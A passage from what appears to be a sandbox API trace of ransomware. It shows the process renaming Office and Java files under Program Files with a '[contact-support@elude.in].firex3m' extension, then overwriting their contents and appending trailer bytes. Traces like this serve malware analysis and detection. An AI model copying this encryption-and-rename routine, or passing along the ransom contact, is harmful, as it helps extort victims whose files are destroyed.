dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0123.344] CloseHandle (hObject=0x4bc) returned 1 [0123.344] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0123.344] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0123.344] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0123.344] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP4141~1.FIR")) returned 0x6d53c0 [0123.345] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0123.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0123.345] GetProcessHeap () returned 0x630000 [0123.345] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x709768 [0123.345] GetProcessHeap () returned 0x630000 [0123.345] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x709c78 [0123.345] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.345] ReadFile (in: hFile=0x4bc, lpBuffer=0x709768, nNumberOfBytesToRead=0x4e0, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x709768*, lpNumberOfBytesRead=0x497ff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0123.978] GetProcessHeap () returned 0x630000 [0123.978] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feefd0 [0123.978] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.978] WriteFile (in: hFile=0x4bc, lpBuffer=0x709c78*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x709c78*, lpNumberOfBytesWritten=0x497ff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0123.978] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.978] WriteFile (in: hFile=0x4bc, lpBuffer=0x70a157*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70a157*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0123.978] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.979] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0123.979] CloseHandle (hObject=0x4bc) returned 1 [0124.056] GetProcessHeap () returned 0x630000 [0124.056] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x709c78 | out: hHeap=0x630000) returned 1 [0124.056] GetProcessHeap () returned 0x630000 [0124.056] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x709768 | out: hHeap=0x630000) returned 1 [0124.056] GetProcessHeap () returned 0x630000 [0124.056] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feefd0 | out: hHeap=0x630000) returned 1 [0124.367] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.367] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfd8ac00, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x511, dwReserved0=0xbb87496, dwReserved1=0x709760, cFileName="AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP4141~1.FIR")) returned 0x6d5200 [0124.367] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0124.367] Sleep (dwMilliseconds=0x1) [0124.380] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties", len=0x3b | out: pbstr=0x497ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 1 [0124.381] GetProcessHeap () returned 0x630000 [0124.381] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x11c) returned 0x66a3e0 [0124.381] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0124.585] CloseHandle (hObject=0x6a8) returned 1 [0124.585] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.597] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0124.598] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.598] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2899, dwReserved0=0x0, dwReserved1=0x0, cFileName="psfontj2d.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PSFONT~2.FIR")) returned 0x6d53c0 [0124.598] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0124.598] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0124.598] GetProcessHeap () returned 0x630000 [0124.598] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x28a1) returned 0x6f02aa0 [0124.598] GetProcessHeap () returned 0x630000 [0124.598] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x28a1) returned 0x722bf58 [0124.599] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.599] ReadFile (in: hFile=0x6d4, lpBuffer=0x6f02aa0, nNumberOfBytesToRead=0x2880, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f02aa0*, lpNumberOfBytesRead=0x497ff0c*=0x2880, lpOverlapped=0x0) returned 1 [0125.843] GetProcessHeap () returned 0x630000 [0125.843] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318328 [0125.843] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.843] WriteFile (in: hFile=0x6d4, lpBuffer=0x722bf58*, nNumberOfBytesToWrite=0x2880, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x722bf58*, lpNumberOfBytesWritten=0x497ff0c*=0x2880, lpOverlapped=0x0) returned 1 [0127.287] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.287] WriteFile (in: hFile=0x6d4, lpBuffer=0x722e7d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x722e7d7*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0128.205] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.206] WriteFile (in: hFile=0x6d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0128.206] CloseHandle (hObject=0x6d4) returned 1 [0128.344] GetProcessHeap () returned 0x630000 [0128.344] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x722bf58 | out: hHeap=0x630000) returned 1 [0128.345] GetProcessHeap () returned 0x630000 [0128.345] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f02aa0 | out: hHeap=0x630000) returned 1 [0128.345] GetProcessHeap () returned 0x630000 [0128.345] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318328 | out: hHeap=0x630000) returned 1 [0129.286] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0129.286] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x125c8cdf, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x28bd, dwReserved0=0xbb87496, dwReserved1=0x6f02a98, cFileName="psfontj2d.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PSFONT~2.FIR")) returned 0x6d5340 [0129.286] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0129.287] Sleep (dwMilliseconds=0x1) [0129.397] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif", len=0x3f | out: pbstr=0x497ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 1 [0129.397] GetProcessHeap () returned 0x630000 [0129.397] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x6c) returned 0x66a3e0 [0129.397] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0129.397] CloseHandle (hObject=0x698) returned 1 [0129.397] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0129.397] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0129.398] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0129.398] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1e7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash_11-lic.gif.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SPLASH~2.FIR")) returned 0x6d5340 [0129.398] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0129.398] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0129.398] GetProcessHeap () returned 0x630000 [0129.399] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e81) returned 0x7318e40 [0129.399] GetProcessHeap () returned 0x630000 [0129.399] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e81) returned 0x6fc20b8 [0129.399] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.399] ReadFile (in: hFile=0x698, lpBuffer=0x7318e40, nNumberOfBytesToRead=0x1e60, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7318e40*, lpNumberOfBytesRead=0x497ff0c*=0x1e60, lpOverlapped=0x0) returned 1 [0129.456] GetProcessHeap () returned 0x630000 [0129.456] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0129.456] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.456] WriteFile (in: hFile=0x698, lpBuffer=0x6fc20b8*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc20b8*, lpNumberOfBytesWritten=0x497ff0c*=0x1e60, lpOverlapped=0x0) returned 1 [0129.456] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.456] WriteFile (in: hFile=0x698, lpBuffer=0x6fc3f17*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc3f17*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0129.456] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.457] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0129.457] CloseHandle (hObject=0x698) returned 1 [0129.458] GetProcessHeap () returned 0x630000 [0129.458] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fc20b8 | out: hHeap=0x630000) returned 1 [0129.458] GetProcessHeap () returned 0x630000 [0129.458] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318e40 | out: hHeap=0x630000) returned 1 [0129.458] GetProcessHeap () returned 0x630000 [0129.458] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0129.458] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0129.458] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x131b4bfb, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1ea1, dwReserved0=0xbb87496, dwReserved1=0x7318e38, cFileName="splash_11-lic.gif.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SPLASH~2.FIR")) returned 0x6d5240 [0131.294] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0131.825] Sleep (dwMilliseconds=0x1) [0133.732] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF", len=0x44 | out: pbstr=0x497ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 1 [0133.732] GetProcessHeap () returned 0x630000 [0133.732] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1c0) returned 0x66a3e0 [0133.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0133.732] CloseHandle (hObject=0x710) returned 1 [0133.732] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.733] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0133.733] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.733] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00267_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0026~1.FIR")) returned 0x6d5340 [0133.734] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0133.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0133.734] GetProcessHeap () returned 0x630000 [0133.734] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa61) returned 0x673b38 [0133.734] GetProcessHeap () returned 0x630000 [0133.734] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa61) returned 0x6f62508 [0133.734] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.734] ReadFile (in: hFile=0x710, lpBuffer=0x673b38, nNumberOfBytesToRead=0xa40, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x673b38*, lpNumberOfBytesRead=0x497ff0c*=0xa40, lpOverlapped=0x0) returned 1 [0133.808] GetProcessHeap () returned 0x630000 [0133.808] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0133.808] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.808] WriteFile (in: hFile=0x710, lpBuffer=0x6f62508*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f62508*, lpNumberOfBytesWritten=0x497ff0c*=0xa40, lpOverlapped=0x0) returned 1 [0133.808] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.808] WriteFile (in: hFile=0x710, lpBuffer=0x6f62f47*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f62f47*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0133.808] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.808] WriteFile (in: hFile=0x710, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0133.808] CloseHandle (hObject=0x710) returned 1 [0133.809] GetProcessHeap () returned 0x630000 [0133.809] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f62508 | out: hHeap=0x630000) returned 1 [0133.809] GetProcessHeap () returned 0x630000 [0133.809] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x673b38 | out: hHeap=0x630000) returned 1 [0133.809] GetProcessHeap () returned 0x630000 [0133.809] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0133.809] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0133.809] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b50613, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa78, 